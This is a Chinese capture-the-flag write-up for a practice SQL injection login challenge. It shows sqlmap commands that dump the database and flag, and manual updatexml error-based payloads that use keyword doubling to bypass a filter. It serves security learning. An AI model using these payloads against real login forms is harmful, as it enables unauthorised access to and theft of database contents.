[第一章 web入门]SQL注入-2

  • 一、信息收集
    • 1.首页
    • 2.登录成功会跳转到
    • 3.进行测试判断
  • 二、尝试破解
    • 1.用post型的sqlmap破解
      • <1>.首先,开burp截包
      • <2>.输入username,passwd,提交。
      • <3>.copy to file,保存为txt文件,放到sqlmap的目录,(MyFile/bf.txt)
      • <4>.开始跑sqlmap破解
      • <5>.按步就班
        • [1].sqlmap爆当前数据库信息
        • [2].sqlmap.列出指定数据库所有的表名
        • [3].sqlmap 列出指定表名的所有列名
        • [4].sqlmap 打印输出表名指定列名字段的值数据
    • 2.手动破解(在bp上进行)[官方的答案]
      • [1].判断注入类型
      • [2].于是使用报错注入获取表名和列名,即可得到flag。
      • [3].同理获得列名
      • [4].获得flag

介绍:记录一下笔记,方便以后迅速回忆使用。

《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

一、信息收集

1.首页

  • …/login.php

2.登录成功会跳转到

  • …/user.php

3.进行测试判断

[1].先用Burp suite抓包看一下
提交的信息有
name=user&pass=passwd

二、尝试破解

1.用post型的sqlmap破解

<1>.首先,开burp截包

<2>.输入username,passwd,提交。

可以看见,burp已经把id获取到了

<3>.copy to file,保存为txt文件,放到sqlmap的目录,(MyFile/bf.txt)

<4>.开始跑sqlmap破解

python sqlmap.py -r MyFile/bf.txt
  • 结果
---
Parameter: name (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=username' AND (SELECT 1848 FROM (SELECT(SLEEP(5)))DRxp) AND 'PkUZ'='PkUZ&pass=passwd
---
成功找到注入点,那剩下的就按步就班

<5>.按步就班

[1].sqlmap爆当前数据库信息

python sqlmap.py -r MyFile/bf.txt --current-db
[10:10:29] [INFO] adjusting time delay to 1 second due to good response times
note
current database: 'note'

用sqlmap爆出库名:note

[2].sqlmap.列出指定数据库所有的表名

python sqlmap.py -r MyFile/bf.txt -D note --tables
[10:14:41] [INFO] retrieved:
[10:14:47] [INFO] adjusting time delay to 1 second due to good response times
fl4g
[10:15:02] [INFO] retrieved: users
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+

用sqlmap爆出表名:fl4g,users

[3].sqlmap 列出指定表名的所有列名

  • 先看fl4g
python sqlmap.py -r MyFile/bf.txt -D note  -T fl4g --columns
[10:18:22] [INFO] retrieved: varchar(40)
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+

用sqlmap爆出列名:flag

[4].sqlmap 打印输出表名指定列名字段的值数据

python sqlmap.py -r MyFile/bf.txt -D note  -T fl4g  -C flag --dump
[10:23:26] [WARNING] increasing time delay to 2 seconds
in_sqli_is_nice}
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

终于拿到flag n1book{login_sqli_is_nice}大功告成。

2.手动破解(在bp上进行)[官方的答案]

[1].判断注入类型

页面注释中有提示,在url中加入?tips=1出现报错信息。

  • 使用跟上面同样的包,改变下面的用户名和密码进行发送。
  • 使用报错注入时可以发现
name=test'and
updatexml(1,concat(0x7e,(select
1)),1)#&pass=xxxx
updatexml函数在在执行时,第2个参数应为合法的xpath路径,否则会在引发错误的同时将传入的参数进行输出。
利用这个特征,针对存在报错显示的例子,将我们想得到的信息传入updatexml函数的第2个参数,

  • 回显正常报错
  • 请求
name=test'and
updatexml(1,concat(0x7e,(select(1)from
dual)),1)#&pass=xxxx
  • 回显(响应)
string(165) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'from
dual)),1)#'' at line 2"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
  • [3].说明我们的sql语句被进行了某种替换,导致语法错误。
  • 尝试
name=test'and       updatexml(1,concat(0x7e,(selselectect(1)from
dual)),1)#&pass=xxxx
  • 时发现回显正常

[2].于是使用报错注入获取表名和列名,即可得到flag。

  • 请求
name=test'and
updatexml(1,concat(0x7e,
(selselectect(group_concat(table_name))from
information_schema.tables
where
table_schema=database())),1)#&pass=xxxx
  • 响应
string(33) "XPATH syntax error: '~fl4g,users'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

爆出表名:fl4g,users

[3].同理获得列名

  • 请求
name=test'and
updatexml(1,concat(0x7e,
(selselectect(group_concat(column_name))from
information_schema.columns
where
table_name='fl4g')),1)#&pass=xxxx
  • 响应
string(27) "XPATH syntax error: '~flag'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

用sqlmap爆出列名:flag

[4].获得flag

  • 请求
name=test'and     updatexml(1,concat(0x7e,(selselectect(flag)from
fl4g)),1)#&pass=xxxx

string(49) "XPATH syntax error: '~n1book{login_sqli_is_nice}'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

flag:n1book{login_sqli_is_nice}

《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2相关推荐

  1. 《从0到1:CTFer成长之路》 [第一章 web入门] 常见的搜集

    <从0到1:CTFer成长之路> [第一章 web入门] 常见的搜集 启动环境: 提示为敏感文件,首先对网站目录进行扫描: 得到如上页面,首先访问robots.txt页面: 得到flag1 ...

  2. 从0到1:CTFer成长之路

    作者:Nu1L战队 出版社:电子工业出版社 品牌:电子工业出版社 出版时间:2020-10-01 从0到1:CTFer成长之路

  3. 从0到1:CTFer成长之路docker环境搭建

    1. 安装 docker 使用官方安装脚本安装 sudo curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun 也可以使 ...

  4. CTF学习记录 i春秋 《从0到1:CTFer成长之路》文件上传

    21.10.19 第二次开始学习CTF 感觉很有收获 至少有让自己忙起来了的感觉 感觉有一些学习状态了 打算重新记录一下学习笔记!加油 我会坚持下去的! 题目代码 首先附上题目的代码段(不完整) sh ...

  5. 《从0到1:CTFer成长之路》书籍配套题目--afr_3 BUUCTF

    还是任意文件读取漏洞 进入坏境 点入链接 这边可以读取文件 试一试article?name=../../../etc/passwd 读不到flag /proc详解 linux进程与它的文件描述符./p ...

  6. 《从0到1:CTFer成长之路》SQL注入-2

    前言: 我是新手小白,创建此文章只为了记录自己的学习 题目: 我们先进入环境,老规矩先查看源码 有提示,那就先用提示来做吧,简单快捷易上手了属于是: 手工方法: 1. 随便输入一个账号试试: 输入ad ...

  7. 《从0到1:CTFer成长之路》1.3 任意文件读取漏洞

    文章目录 1.3.1 文件读取漏洞常见触发点 1.3.1.1 web语言 1. PHP 2.python 3.Java 4.Ruby 5.Node 1.3.1.2 中间件.服务件相关 1.Nginx错 ...

  8. 《从0到1:CTFer成长之路》粗心的小李

    前言: 我是CTF小白,创建此文章只为了记录自己学习的进度 题目: 我们先进入环境 这边给了提示,是吧git放到了外网环境,直接扫一下目录吧,查找一下git目录 git目录下是有东西的 所以我们可以利 ...

  9. 《从0到1:CTFer成长之路》常见的搜集

    前言: 我是CTF小白,创建此文章只为了记录自己学习的进度 题目: 我们先进入环境 看到信息搜集,直接用扫目录软件开扫 扫到了这个网页,我们进去查看一下 发现他给我们提示了一个网址,我们进入这个网址 ...

最新文章

  1. 已开源!谷歌将AutoML应用到Transformer架构,实现机器翻译最佳性能
  2. Spring Cloud 2020 年路线图:二季度Spring Boot 2.3、四季度Spring Cloud Ilford
  3. (转)OpenSSL命令---pkcs12
  4. python玩转大数据视频[非原创视频]
  5. WindowsPhone-GameBoy模拟器开发四--Gameboy显示系统分析
  6. 保姆级C语言版高斯坐标正算反算倾情奉献!
  7. c# linq的差集,并集,交集,去重【转】
  8. opencv调节图片饱和度_OpenCV调整彩色图像的饱和度和亮度
  9. 并发编程中的重重量级模型和轻量级模型
  10. 71万买玛莎拉蒂,手续竟然全是假的:71万或打水漂
  11. 匿名内部类 可以访问外部类_Java 内部类与外部类的互访使用小结
  12. 干干净净用java_十四步 干干净净卸载Oracle
  13. 界址点圆圈怎么生成_手机联系人怎么加入黑名单
  14. 让ssh跳转支持ipv6
  15. 什么是单片机,什么是51单片机【51单片机介绍】
  16. Codeforces 274E. Mirror Room-模拟+STL
  17. 树莓派实验室python人脸识别_在树莓派上实现人脸识别
  18. 【STM32H743+腾讯云IOT联合开发入坑及出坑经验分享】
  19. 关于无法定位程序输入点 SetDefaultDllDirectories于动态链接库KERNEL32.dll 上 解决方法
  20. FOTA升级apply_patch解析

热门文章

  1. Red Hat Linux 9.0软件功能
  2. 2维空间、3维空间的最大分割数及多维空间的最大分割数猜想
  3. Android 打开文件管理器 获取文件的真实路径
  4. 如何在ubuntu打开文件
  5. 联发科mt8516价格_MT8516芯片分析,MT8516处理器资料
  6. PBJ | 华中科大宁康组揭示甘草根转录组-微生物群落-次级代谢产物调控模式
  7. norton诺顿symantec endpoint protection无密码卸载
  8. 加密数字艺术背后你关心的几个问题
  9. 七年级信息技术期末试卷及参考答案
  10. 简历的专业技能怎么写?排版需要注意的事项